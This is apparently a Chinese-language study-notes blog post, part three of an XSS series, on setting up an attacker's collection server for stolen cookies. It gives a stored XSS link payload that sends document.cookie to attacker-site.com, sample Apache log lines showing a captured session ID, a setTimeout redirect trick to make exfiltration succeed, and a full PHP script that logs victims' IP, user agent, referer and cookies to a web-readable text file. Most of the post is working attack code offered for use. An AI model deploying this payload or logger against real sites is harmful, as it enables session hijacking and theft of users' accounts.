1. 程式人生 > >XSS學習筆記(三)-XSS平臺的搭建

XSS學習筆記(三)-XSS平臺的搭建

接著前兩篇來的,攻擊者可以通過一個普通使用者登入進來,然後在輸入框中提交以下資料:
<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">美女admin </a>

方法一:Apache access.log

這樣根據home.php的過濾條件,如果是admin賬戶,就會顯示含有"美女admin"的列表,然後如果是點選了"美女admin" 的連結,他cookie就可以被收集到我的伺服器上(這裡是被動式的觸發的漏洞,具有一定的猥瑣性),搭建的XSS平臺一定也有挺多的簡單方法,最簡單的就是在Apache的access.log中檢視,類似的日誌是:
172.29.32.182 - - [17/Apr/2014:15:46:18 +0800] "GET /favicon.ico HTTP/1.1" 404 1675
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "HEAD /qweiop43809442fsfjflr.html HTTP/1.1" 404 -
172.23.10.11 - - [19/Apr/2014:15:20:43 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.110 - - [19/Apr/2014:15:20:43 +0800] "GET  /xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3 200 38          ------ 一次記錄的XSS資訊,包括目標IP和目標網頁以及cookie

為了提高XSS的寫入遠端cookie成功,我們還經常使用 setTimeout()函式做時間競爭,具體做法如下:
<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>

這樣可以為在想遠端發生哦那個請求的爭取個3s的時間,盡最大可能讓他到達我們的XSS平臺。

方法二:自己在任意可被訪問的php程式碼中加入此段,或者簡單的加個新的頁面(不隱蔽),也可以記錄寫詳細資訊,如攻擊者盜取cookie的指令碼stealcookies.php 可以是這般:
<?php
	$ua = $_SERVER["HTTP_USER_AGENT"];                     /*  這裡是記錄HTTP頭所有資訊,其實這裡還可以在加上些容錯處理,防止畸形的http無法被記錄 */
	$client_ip = $_SERVER["REMOTE_ADDR"];
	$method = $_SERVER["REQUEST_METHOD"];
	$referer = $_SERVER["HTTP_REFERER"];
	$date = date("F j, Y, g:i a");
	$querystring = $_SERVER["QUERY_STRING"];
	$log = fopen("cookie.txt","a+");                      /* 這裡是追加到可以在url 訪問的 txt 裡 */
	$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date  | Cookie: $querystring \n";
	fwrite($log,$str);
?>

這個XSS指令碼記錄的資訊就明顯詳細多了。